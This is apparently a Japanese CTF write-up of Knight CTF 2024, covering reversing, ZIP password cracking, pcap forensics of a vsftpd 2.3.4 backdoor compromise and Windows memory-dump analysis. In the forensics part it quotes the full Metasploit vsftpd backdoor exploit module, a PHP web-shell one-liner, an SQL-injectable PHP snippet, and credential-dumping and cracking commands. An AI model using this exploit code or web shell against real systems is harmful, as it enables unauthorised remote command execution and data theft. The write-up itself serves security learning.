All Articles

Knight CTF 2024 Writeup

Knight CTF 2024 に 0nePadding で参加していました。

時間的な問題もありあまり解けませんでしたが、最終順位は 68 位でした。

image-20240123141643921

珍しく Forensic もりもりな CTF で楽しく参加できました。

もくじ

Dragon’s Binary(Rev)

In the mystical land of Eldoria, a fierce dragon had captured the kingdom’s most precious treasure, hiding it behind a magical binary. The bravest knight of the realm, Sir Emeric, known for both sword and wit, embarked on a quest to retrieve the treasure. To succeed, he must reverse the dragon’s binary. As Sir Emeric’s trusted apprentice in “Dragon’s Binary” you are tasked with solving the cipher to reveal the hidden treasure and help vanquish the dragon’s spell. Your journey is filled with mystery and danger, where only the sharpest mind can prevail.

問題バイナリとして与えられたファイルを Ghidra で解析すると、標準入力から受け取ったパスワードを検証していることがわかります。

image-20240121114105370

この検証は、ハードコードされた文字列(letMeIn)と IamDragon を XOR したものを、入力値を XOR したものと比較していることがわかります。

正しい Flag は KCTF{letMeIn} でした。

Knight Armoury(Rev)

In a realm where magic and technology merge, lies the Knight Armoury, home to the legendary “Sword of Bytes.” Forged by Knight Squad, this digital sword holds immense power. Your mission: reverse the ancient binary guarding the Armoury and claim the sword to become the protector of the digital kingdom. Only the wisest and most skilled in reverse engineering can succeed. Are you ready to embark on this epic journey?

問題バイナリを Ghidra で解析するとパスワードがすぐにわかりました。

これをサーバに送り込むと Flag を取得できました。

image-20240121122032392

Flag Hunt!(Forensic)

Hunt your way through the challenge and Capture The hidden Flag!!!

問題バイナリとして与えられた暗号化 ZIP ファイルを john でハッシュクラックすると解凍用のパスワードを特定できます。

zip2john chall.zip > hash.txt

# 辞書を使用して解析
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

image-20240121124006712

ファイルを展開すると、大量の画像ファイルと、key.wav というファイルが見つかりました。

image-20240121124113761

画像ファイルについては md5 ハッシュで比較すると、1 つだけ異なる Hash 値を持つファイルが見つかります。

image-20240121124442840

また、key.wav を解析ツールにぶち込んでモールス信号をデコードすると、morsecodetotherescue!! というパスフレーズを特定できます。

参考:Morse Code Adaptive Audio Decoder | Morse Code World

あとはこのパスフレーズを使用して img725.jpg に対して steghide extract を実行すると Flag を取得できます。

Networking

Vicker IP(Forensic)

Hi! It’s good to see you again in my networking series. There are total 18 challenges in this series & based on real life events of how can a server be compromised. Please download the attachment which will be used to answer all the questions. Don’t make it too complex. Just keep it simple. Hope you’ll solve them all. Wish you all a very good luck.

Scenario: Recently one of Knight Squad’s asset was compromised. We’ve figured out most but need your help to investigate the case deeply. As a SOC analyst, analyze the pacp file & identify the issues.

So let’s start with the basic.

What is the victim & attacker ip?

問題バイナリとして与えられた pcap ファイルを解析していく一連の問題です。

最初の問題では、Victim と Attacker の IP アドレスを特定する必要があります。

適当に攻撃クエリっぽい URL をリクエストしているパケットを特定することで Attacker と Victim を特定できます。

image-20240121183054187

このパケットを見てみると Web スキャンのような攻撃を仕掛けていることがわかります。

image-20240121183137392

というわけで、正しい Flag は KCTF{192.168.1.8_192.168.1.7} になりました。

Basic Enum(Forensic)

What tool did the attacker use to do basic enumeration of the server?

Please use the attachment of the first challenge.

Flag Format: KCTF{toolname}

次の問題では、Web スキャンを仕掛けているツールを特定する必要があります。

image-20240121185400349

アクセス履歴を見ると、Nikto という文字の入ったファイルにアクセスしている状況を確認できました。

image-20240121190832240

そのため、KCTF{nikto} が正しい Flag になりました。

Vulnerable Service(Forensic)

What service was vulnerable to the main server?

Please use the attachment of the first challenge.

Flag Format: KCTF{serviceversion} >>alllower_case

次に Flag となる情報は、Attacker が悪用した脆弱性を持つサービスとそのバージョンのようです。

一通り攻撃パケットを見ていくと、Attacker が FTP を使用して足掛かりを取得していることがわかります。

FTP のパケットを順に見ていくと、以下のような不自然なパケットが見つかります。

image-20240122215826994

これは、vsFTPd 2.3.4 に埋め込まれたバックドアを悪用したもので、:) を含むユーザ名で FTP 接続を試みた際に TCP 6200 ポートのバックドアを起動する脆弱性です。

vsftpdのバージョン2.3.4のソースファイル「vsftpd-2.3.4.tar.gz」にリモートから任意のコードの実行を可能にするバックドアコードが含まれていました。 バックドアコードを含んだ状態でvsftpdをインストールおよび起動すると、特定の文字列「:)」を含むユーザー名でFTP接続した際にバックドアポートであるTCP6200番がオープンします。バックドアポートにリモートから接続すると任意のコマンドが実行可能となります。

参考:vsftpd 2.3.4に含まれたバックドアに関する検証レポート | NTTデータ先端技術株式会社

そこで、正しい Flag は KCTF{vsftpd_2.3.4} となります。(Lower Case にする必要がある点を見落としていて Flag を通すことができませんでした。。)

PORT(Forensic)

What was the port number of the reverse shell of the server?

Please use the attachment of the first challenge.

Flag Format: KCTF{port}

次の問題は、Attacker がリバースシェルを取得したポートが Flag になります。

これは先ほど特定した脆弱性の情報を調べれば 6200 であることがわかります。

WireShark で見てみると、どうやら root ユーザのシェルを取得しているようです。

image-20240122220256038

正しい Flag は KCTF{6200} になります。

CVE ID(Forensic)

What’s the CVE id for the vulnerable service?

Please use the attachment of the first challenge.

これも脆弱性について調べた情報を元に正しい Flag が KCTF{CVE-2011-2523} であることを特定できます。

参考:vsftpd 2.3.4 - Backdoor Command Execution - Unix remote Exploit

Famous Tool(Forensic)

The attacker used a popular tool to gain access of the server. Can you name it?

Attacker がサーバへのアクセスを取得した有名ツールを特定せよという問題です。

とりあえず脆弱性がわかっているので、vsftpd 2.3.4 backdoor tool などで検索してみると上位が大体 Metasploit でした。

image-20240122221711629

このまま KCTF{metasploit} を試しても正解できますが、せっかくなので中身を見ていきます。

##
# $Id: vsftpd_234_backdoor.rb 13099 2011-07-05 05:20:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VSFTPD v2.3.4 Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the	VSFTPD download
					archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between
					June 30th 2011 and July 1st 2011 according to the most recent information
					available. This backdoor was removed on July 3rd 2011.
			},
			'Author'         => [ 'hdm', 'mc' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13099 $',
			'References'     =>
				[
					[ 'URL', 'http://pastebin.com/AetT9sS5'],
					[ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ],
				],
			'Privileged'     => true,
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType'    => 'cmd_interact',
							'ConnectionType' => 'find'
						}
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Jul 3 2011',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(21) ], self.class)
	end

	def exploit

		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_status("The port used by the backdoor bind listener is already open")
			handle_backdoor(nsock)
			return
		end

		# Connect to the FTP service port first
		connect

		banner = sock.get_once(-1, 30).to_s
		print_status("Banner: #{banner.strip}")

		sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
		resp = sock.get_once(-1, 30).to_s
		print_status("USER: #{resp.strip}")

		if resp =~ /^530 /
			print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
			disconnect
			return
		end

		if resp !~ /^331 /
			print_error("This server did not respond as expected: #{resp.strip}")
			disconnect
			return
		end

		sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

		# Do not bother reading the response from password, just try the backdoor
		nsock = self.connect(false, {'RPORT' => 6200}) rescue nil
		if nsock
			print_good("Backdoor service has been spawned, handling...")
			handle_backdoor(nsock)
			return
		end

		disconnect

	end

	def handle_backdoor(s)

		s.put("id\n")

		r = s.get_once(-1, 5).to_s
		if r !~ /uid=/
			print_error("The service on port 6200 does not appear to be a shell")
			disconnect(s)
			return
		end

		print_good("UID: #{r.strip}")

		s.put("nohup " + payload.encoded + " >/dev/null 2>&1")
		handler(s)
	end

end

参考:vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) - Unix remote Exploit

コードを見てみると、FTP サービスに送り込んでいる攻撃クエリの作り方や、シェル確保後の実行コマンドが Metasploit のスクリプトと一致していることがわかります。

Hidden File(Forensic)

What’s the flag of the hidden file?

Please use the attachment of the first challenge.

リバースシェルの一連のパケットをトレースすると、以下のように Fl4g.tXT というファイルのデータを取得していることがわかります。

.]0;root@kctf: /root..[01;32mroot@kctf.[00m:.[01;34m/root.[00m# cat .Fl4g.tXT
cat .Fl4g.tXT
Hi! 
You've come this far analyzing the file. Good Job. :D 
Here's something for you. Hope you get it.. ;P

37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9

この 37n3vq6rp6k05ov33o5fy5b33sj3rq2sy4p56735853h9 という文字列が怪しそうですが、このままでは何のデータなのかわかりません。

他の方の Writeup を読む限り、どうやら Guess で暗号化方法を特定するのが想定解っぽいです。

Twin-Hex Cipher について知識があれば、確かに出力結果がよく似ていることを予想できそうです。(知らなかった)

image-20240122141724219

以下のサイトで Flag を復号すると正しい Flag が KCTF{ExPloItiNg_S3RvEr_Is_fUN} であることを特定できます。

image-20240122141845248

参考:Twin-Hex Cypher encoder and decoder from CalcResult Universal Calculators

Confidential(Forensic)

There’s something confidential. Can you find it?

HTTP オブジェクトを列挙すると、maybeconfidential.zip というファイルが盗まれていることがわかります。

image-20240122142146880

このファイルを解凍すると、以下のような画像が埋め込まれた Doc ファイルが見つかります。

image-20240122142402072

画像ファイルを取り出しても何も見つからなかったので Doc ファイルを unzip してみたところ、Flag を含むファイルを見つけることができました。

image-20240122142752179

BackDoor(Forensic)

What is the backdoor file name?

リバースシェルの一連のパケットをトレースしていくと、<?php echo system("$_GET['cmd']");?> を埋め込んだ PHP ファイルが .621b4CkD0oR.php5 として作成されていることがわかります。

image-20240122143741729

そこで、正しい Flag が KCTF{.621b4CkD0oR.php5} であることを特定できます。

BackDoor Path(Forensic)

What is the full path of the backdoor in the server?

これは先ほど確認したバックドアファイルのパスがそのまま Flag になります。

KCTF{/var/www/html/app/assets/.621b4CkD0oR.php5} が正しい Flag です。

Super Admin(Forensic)

What is the super admin password in the web application?

リバースシェルの通信トレースを読むと mysqldump -u db_user -p kctf2021 > backup.sql コマンドでデータベースをダンプしたファイルを盗み出されていることがわかります。

どうやらこのファイルが Attachment で提供されたダンプファイルに一致していそうです。

image-20240122151507889

適当なオンラインツールで 5f27f7648285dec7954f5ee1ad696841 のハッシュを解析するとパスワードが letmeinroot であることを特定できます。

image-20240122151613025

正しい Flag は KCTF{letmeinroot} でした。

Admin Flag(Forensic)

Can you find the Admin Flag of the web server.?

HTTP オブジェクトを見ると、app_bak.zip というファイルが盗まれていることがわかります。

image-20240122151816621

これを展開していくと、root ロールかどうかを検証しているコードが見つかります。

image-20240122152026973

このままでは Flag にならなかったので CyberChef で Magic にかけたところ、Base85 でエンコードされた Flag であることを特定できました。

image-20240122152127751

正しい Flag は KCTF{y0U_G0t_tHe_AdMin_Fl4g} でした。

Vuln(Forensic)

What was the vulnerability on the edit task page & what parameter was vulnerable?

パケットを見ると、processedittask.php に対して SQLi と思われる攻撃が繰り返し行われていることがわかります。

image-20240123213707514

先ほどダウンロードしたアプリケーションのソースコードを見ると、以下のようなコードが埋め込まれており、GET リクエストに taskId が存在する場合には、その値をそのまま SQL クエリとして実行できる実装になっていることがわかります。

<?php 
session_start();

include("../models/db.php");

if(isset($_GET['taskId'])){
    $uuid = $_GET['taskId'];

    $sql = "SELECT * FROM `tasks` WHERE `uuid` = $uuid";
    $result = mysqli_query($conn, $sql);
}

if(isset($_POST['update_task_btn'])){
    if(isset($_POST['taskDescription']) && isset($_POST['taskStatus'])) {
        $taskDescription = mysqli_real_escape_string($conn, $_POST['taskDescription']);
        $taskStatus = mysqli_real_escape_string($conn, $_POST['taskStatus']);

        $sql = "UPDATE `tasks` SET `task_desc` = '$taskDescription', `task_status` = '$taskStatus' WHERE `uuid` = $uuid";
        $result = mysqli_query($conn, $sql);
        if($result){
            echo "Task Updated Successfully. Redirecting...";
            header("refresh:2; url=../views/tasks.php");
        }else{
            echo "Unknown Error. Please contact admin.";
            die();
        }
    }
}
?>

そのため、正しい Flag は KCTF{sqli_taskId} になります。

Famous Tool 2(Forensic)

What tool did the attacker use to identify the vulnerability of edit task page? Flag Format: KCTF{toolname/version}

SQLi のリクエストを発行しているパケットを見ればすぐにわかる通り、KCTF{sqlmap/1.7.10#stable} が正しい Flag になります。

Something Interesting(Forensic)

There’s something interesting. Can you find it? Flag Format: KCTF{fl4G}

問題文のヒントが少なすぎてわかりませんでしたが、どうやら取得した backup.sql の中の暗号化文字列を ROT47 で復号したものが正しい Flag となったようです。

Hidden Page(Forensic)

There was a hidden page which was only accessible to root & was removed from the web app for security purpose. Can you find it?

アプリケーションのコードを読むと、root ユーザのときだけアクセスできる terminal-13337.php というページがあることがわかります。

image-20240123214423979

そのため、KCTF{terminal-13337.php} が正しい Flag になります。

DB Details(Forensic)

What is the database username & databasename?

これもコード見ればわかります。

後半の問題なのでサービス問題なのかも。

image-20240123214615234

API Key(Forensic)

What’s the API Key? Flag Format: KCTF{API-KEY}

上に同じく。

最後の問題にして一番簡単かもしれないですね。

Digital Forensics

OS(Forensic)

My boss, Muhammad, sent me this dump file of a memory. He told me that this OS has a malware virus that runs automatically. I need to find some more information about this OS, and the hacker also created some files in this OS. He gave me a task to solve this within 24 hours. I am afraid. Will you please help me? My boss sent some questions; please solve them on my behalf. There are total 7 challenges in this series. Best of luck.

What is the OS version?

Flag Format: KCTF{1.1.1111.11111}

Windows のダンプファイルが与えられるので OS のバージョン情報を特定せよとの問題でした。

!analyze -v をかけて表示されたバージョン情報を含む KCTF{7.1.7601.24214} が Flag になりました。

image-20240121185136134

Password(Forensic)

What is the login password of the OS?

解析中のダンプファイルから OS のログインパスワードを取得すればよさそうです。

WinDbg コマンドを組み合わせてレジストリ情報から抜き出してもいいですが、面倒なので Volatility を使うことにします。

REMNux 環境で vol3 -f KnightSquad.DMP windows.hashdump コマンドを使用しました。

image-20240123215721932

ここから、siam というユーザのパスワードが squad であることを特定できました。

image-20240123215846068

正しい Flag は KCTF{squad} になります。

IP Addr(Forensic)

What is the IP address of this system?

システムの IP アドレスを求める問題です。

こちらも面倒なので Vollatility で解きます。

適当に vol3 -f KnightSquad.DMP windows.netscan でローカルアドレスを調べました。

image-20240123220410862

正しい Flag は KCTF{10.0.2.15} になることを特定できました。

Note(Forensic)

My boss has written something in the text file. Could you please help me find it?

次は何らかのテキストファイルに書き込まれた情報を抽出せよとの問題のようです。

こちらも Vollatility で解く方が簡単そうです。

とりあえず vol3 -f KnightSquad.DMP windows.filescan.FileScan コマンドでファイルオブジェクトを収集します。

結果を grep すると、ユーザプロファイル配下に以下の 3 つのテキストファイルが存在していそうなことがわかります。

image-20240123221213052

だめもとでこれらのファイルに対して windows.dumpfiles.DumpFiles をかけてみましたが残念ながらファイルは取得できませんでした。

テキストファイルなどはキャッシュされていない場合が多いので仕方ないですね。

次は windows.cmdline.CmdLine を試します。

これを見ると、Notepad のプロセスが 1 つ存在していることがわかります。

image-20240123221709967

プロセスメモリの中身を読むため、WinDbg を使用します。

まずは notepad.exe のプロセスオブジェクトのアドレスを特定します。

image-20240123221839130

このプロセスにコンテキストを変更して調べようと思ったものの、ページアウトしてしまっているようで調査できませんでした。

image-20240123222037307

やけくそで strings をかけてみたところ、次の Execution の Flag を取得することができましたが、この問題の Flag は取得できませんでした。

image-20240123223020408

色々調べた結果、 windows.dumpfiles.DumpFiles では取得できなかったファイルが、Volatility 2 の dumpfiles を使うと取得できる場合あることがわかりました。(違いがいまいちよくわかってないです。キャッシュマネージャから取ってくるわけではないのかも?)

そこで、volatility_2.6_win64_standalone.exe -f KnightSquad.DMP --profile=Win7SP1x64_23418 dumpfiles -Q 0xb9ba7bb0 --name file -D outdir でテキストファイルを出力しました。

image-20240123224319656

テキストファイルの中には、Base64 エンコードされた Flag が埋め込まれていたため、正しい Flag が KCTF{Respect_Y0ur_Her4nki} であることを特定できました。

S0NURntSZXNwZWN0X1kwdXJfSGVyNG5raX0= RISC OS
RISCOS
Fire OS
FireOS
macOS
mac OS
Mac OS X

image-20240123224540625

Execution(Forensic)

My leader, Noman Prodhan, executed something in the cmd of this infected machine. Could you please figure out what he actually executed?

ダンプファイルを strings した結果から、KCTF{W3_AR3_tH3_Kn1GHt} が Flag になることがわかりました。

Path of the Executable(Forensic)

What is the path folder of the executable file which execute privious flag?

strings -a -t d -el KnightSquad.DMP | grep KCTF{ で grep した結果を見ると、C:\Users\siam>C:\Users\siam\Documents\windows.bat が前回の Flag を出力していることがわかります。

そのため、KCTF{C:\Users\siam\Documents} が正解の Flag であることがわかりました。

Malicious(Forensic)

What is the malicious software name?

windows.filescan.FileScan を実行した際の出力の中に怪しげなファイルがあることをすでに特定済みでしたので、KCTF{MadMan.exe} が正しい Flag になることがわかりました。

image-20240123225135938

まとめ

問題数多くて Writeup 書くの疲れました。

やっぱフォレンジックは楽しいですね。